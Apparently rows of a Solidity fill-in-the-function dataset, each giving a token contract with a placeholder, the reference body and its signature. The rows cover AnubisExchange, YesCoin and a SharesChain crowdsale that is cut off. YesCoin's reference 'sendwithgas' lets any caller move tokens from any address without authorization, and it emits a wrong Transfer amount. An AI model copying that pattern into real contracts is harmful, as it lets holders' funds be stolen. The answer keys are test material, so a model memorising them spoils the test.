address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | contract AnubisExchange is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anubis Exchange ";
string private constant _symbol = " Anubis";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
<FILL_FUNCTION>
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} |
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
| function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
| function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
|
18153 | YesCoin | sendwithgas | contract YesCoin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "YesCoin";
symbol = "YSC";
decimals = 0;
initialSupply = 1000000;
totalSupply_ = 1000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas (address _from, address _to, uint256 _value, uint256 _fee) public notFrozen(_from) returns (bool) {<FILL_FUNCTION_BODY>
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _value The amount that will be burnt.
*/
function burn(uint256 _value) internal onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _amount The account that will receive the created tokens.
*/
function mint( uint256 _amount) onlyOwner internal returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | contract YesCoin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "YesCoin";
symbol = "YSC";
decimals = 0;
initialSupply = 1000000;
totalSupply_ = 1000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
<FILL_FUNCTION>
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _value The amount that will be burnt.
*/
function burn(uint256 _value) internal onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _amount The account that will receive the created tokens.
*/
function mint( uint256 _amount) onlyOwner internal returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} |
uint256 _total;
_total = _value.add(_fee);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _value);
//require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to])
return true;
| function sendwithgas (address _from, address _to, uint256 _value, uint256 _fee) public notFrozen(_from) returns (bool) | /**
* ERC20 Token Transfer
*/
function sendwithgas (address _from, address _to, uint256 _value, uint256 _fee) public notFrozen(_from) returns (bool) |
51719 | SharesChainTokenCrowdFunding | buySCTK | contract SharesChainTokenCrowdFunding is Owned {
using SafeMath for uint;
/*
* Constant fields
*/
/// SharesChain total tokens supply
uint public constant MAX_TOTAL_TOKEN_AMOUNT = 20000000000 ether;
// 最大募集以太币数量
uint public constant MAX_CROWD_FUNDING_ETH = 30000 ether;
// Reserved tokens
uint public constant TEAM_INCENTIVES_AMOUNT = 2000000000 ether; // 10%
uint public constant OPERATION_AMOUNT = 2000000000 ether; // 10%
uint public constant MINING_POOL_AMOUNT = 8000000000 ether; // 40%
uint public constant MAX_PRE_SALE_AMOUNT = 8000000000 ether; // 40%
// Addresses of Patrons
address public TEAM_HOLDER;
address public MINING_POOL_HOLDER;
address public OPERATION_HOLDER;
/// Exchange rate 1 ether == 205128 SCTK
uint public constant EXCHANGE_RATE = 205128;
uint8 public constant MAX_UN_LOCK_TIMES = 10;
/// Fields that are only changed in constructor
/// All deposited ETH will be instantly forwarded to this address.
address public walletOwnerAddress;
/// Crowd sale start time
uint public startTime;
SharesChainToken public sharesChainToken;
/// Fields that can be changed by functions
uint16 public numFunders;
uint public preSoldTokens;
uint public crowdEther;
/// tags show address can join in open sale
mapping (address => bool) public whiteList;
/// 记录投资人地址
address[] private investors;
/// 记录剩余释放次数
mapping (address => uint8) leftReleaseTimes;
/// 记录投资人锁定的Token数量
mapping (address => uint) lockedTokens;
/// Due to an emergency, set this to true to halt the contribution
bool public halted;
/// 记录当前众筹是否结束
bool public close;
/*
* EVENTS
*/
event NewSale(address indexed destAddress, uint ethCost, uint gotTokens);
/*
* MODIFIERS
*/
modifier notHalted() {
require(!halted);
_;
}
modifier isHalted() {
require(halted);
_;
}
modifier isOpen() {
require(!close);
_;
}
modifier isClose() {
require(close);
_;
}
modifier onlyWalletOwner {
require(msg.sender == walletOwnerAddress);
_;
}
modifier initialized() {
require(address(walletOwnerAddress) != 0x0);
_;
}
modifier ceilingEtherNotReached(uint x) {
require(crowdEther.add(x) <= MAX_CROWD_FUNDING_ETH);
_;
}
modifier earlierThan(uint x) {
require(now < x);
_;
}
modifier notEarlierThan(uint x) {
require(now >= x);
_;
}
modifier inWhiteList(address user) {
require(whiteList[user]);
_;
}
/**
* CONSTRUCTOR
*
* @dev Initialize the SharesChainToken contribution contract
* @param _walletOwnerAddress The escrow account address, all ethers will be sent to this address.
* @param _startTime ICO boot time
*/
function SharesChainTokenCrowdFunding(address _owner, address _walletOwnerAddress, uint _startTime, address _teamHolder, address _miningPoolHolder, address _operationHolder) public {
require(_walletOwnerAddress != 0x0);
owner = _owner;
halted = false;
close = false;
walletOwnerAddress = _walletOwnerAddress;
startTime = _startTime;
preSoldTokens = 0;
crowdEther = 0;
TEAM_HOLDER = _teamHolder;
MINING_POOL_HOLDER = _miningPoolHolder;
OPERATION_HOLDER = _operationHolder;
sharesChainToken = new SharesChainToken(this);
sharesChainToken.mintToken(_teamHolder, TEAM_INCENTIVES_AMOUNT);
sharesChainToken.mintToken(_miningPoolHolder, MINING_POOL_AMOUNT);
sharesChainToken.mintToken(_operationHolder, OPERATION_AMOUNT);
}
/**
* Fallback function
*
* @dev If anybody sends Ether directly to this contract, consider he is getting SharesChain token
*/
function () public payable {
buySCTK(msg.sender, msg.value);
}
/// @dev Exchange msg.value ether to SCTK for account receiver
/// @param receiver SCTK tokens receiver
function buySCTK(address receiver, uint costEth)
private
notHalted
isOpen
initialized
inWhiteList(receiver)
ceilingEtherNotReached(costEth)
notEarlierThan(startTime)
returns (bool)
{<FILL_FUNCTION_BODY> }
/// @dev Set white list in batch.
function setWhiteListInBatch(address[] users)
public
onlyOwner
{
for (uint i = 0; i < users.length; i++) {
whiteList[users[i]] = true;
}
}
/// @dev Add one user into white list.
function addOneUserIntoWhiteList(address user)
public
onlyOwner
{
whiteList[user] = true;
}
/// query locked tokens
function queryLockedTokens(address user) public view returns(uint) {
return lockedTokens[user];
}
// 根据投资者输入的以太坊数量确定赠送的SCTK数量
function calculateGotTokens(uint costEther) pure internal returns (uint gotTokens) {
gotTokens = costEther * EXCHANGE_RATE;
if (costEther > 0 && costEther < 100 ether) {
gotTokens = gotTokens.mul(1);
}else if (costEther >= 100 ether && costEther < 500 ether) {
gotTokens = gotTokens.mul(115).div(100);
}else {
gotTokens = gotTokens.mul(130).div(100);
}
return gotTokens;
}
/// @dev Emergency situation that requires contribution period to stop.
/// Contributing not possible anymore.
function halt() public onlyOwner {
halted = true;
}
/// @dev Emergency situation resolved.
/// Contributing becomes possible again withing the outlined restrictions.
function unHalt() public onlyOwner {
halted = false;
}
/// Stop crowding, cannot re-start.
function stopCrowding() public onlyOwner {
close = true;
}
/// @dev Emergency situation
function changeWalletOwnerAddress(address newWalletAddress) public onlyWalletOwner {
walletOwnerAddress = newWalletAddress;
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) {
return false;
}
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function releaseRestPreSaleTokens()
public
onlyOwner
isClose
{
uint unSoldTokens = MAX_PRE_SALE_AMOUNT - preSoldTokens;
sharesChainToken.mintToken(OPERATION_HOLDER, unSoldTokens);
}
/*
* PUBLIC FUNCTIONS
*/
/// Manually unlock 10% total tokens
function unlock10PercentTokensInBatch()
public
onlyOwner
isClose
returns (bool)
{
for (uint8 i = 0; i < investors.length; i++) {
if (leftReleaseTimes[investors[i]] > 0) {
uint releasedTokens = lockedTokens[investors[i]] / leftReleaseTimes[investors[i]];
sharesChainToken.mintToken(investors[i], releasedTokens);
lockedTokens[investors[i]] = lockedTokens[investors[i]] - releasedTokens;
leftReleaseTimes[investors[i]] = leftReleaseTimes[investors[i]] - 1;
}
}
return true;
}
} | contract SharesChainTokenCrowdFunding is Owned {
using SafeMath for uint;
/*
* Constant fields
*/
/// SharesChain total tokens supply
uint public constant MAX_TOTAL_TOKEN_AMOUNT = 20000000000 ether;
// 最大募集以太币数量
uint public constant MAX_CROWD_FUNDING_ETH = 30000 ether;
// Reserved tokens
uint public constant TEAM_INCENTIVES_AMOUNT = 2000000000 ether; // 10%
uint public constant OPERATION_AMOUNT = 2000000000 ether; // 10%
uint public constant MINING_POOL_AMOUNT = 8000000000 ether; // 40%
uint public constant MAX_PRE_SALE_AMOUNT = 8000000000 ether; // 40%
// Addresses of Patrons
address public TEAM_HOLDER;
address public MINING_POOL_HOLDER;
address public OPERATION_HOLDER;
/// Exchange rate 1 ether == 205128 SCTK
uint public constant EXCHANGE_RATE = 205128;
uint8 public constant MAX_UN_LOCK_TIMES = 10;
/// Fields that are only changed in constructor
/// All deposited ETH will be instantly forwarded to this address.
address public walletOwnerAddress;
/// Crowd sale start time
uint public startTime;
SharesChainToken public sharesChainToken;
/// Fields that can be changed by functions
uint16 public numFunders;
uint public preSoldTokens;
uint public crowdEther;
/// tags show address can join in open sale
mapping (address => bool) public whiteList;
/// 记录投资人地址
address[] private investors;
/// 记录剩余释放次数
mapping (address => uint8) leftReleaseTimes;
/// 记录投资人锁定的Token数量
mapping (address => uint) lockedTokens;
/// Due to an emergency, set this to true to halt the contribution
bool public halted;
/// 记录当前众筹是否结束
bool public close;
/*
* EVENTS
*/
event NewSale(address indexed destAddress, uint ethCost, uint gotTokens);
/*
* MODIFIERS
*/
modifier notHalted() {
require(!halted);
_;
}
modifier isHalted() {
require(halted);
_;
}
modifier isOpen() {
require(!close);
_;
}
modifier isClose() {
require(close);
_;
}
modifier onlyWalletOwner {
require(msg.sender == walletOwnerAddress);
_;
}
modifier initialized() {
require(address(walletOwnerAddress) != 0x0);
_;
}
modifier ceilingEtherNotReached(uint x) {
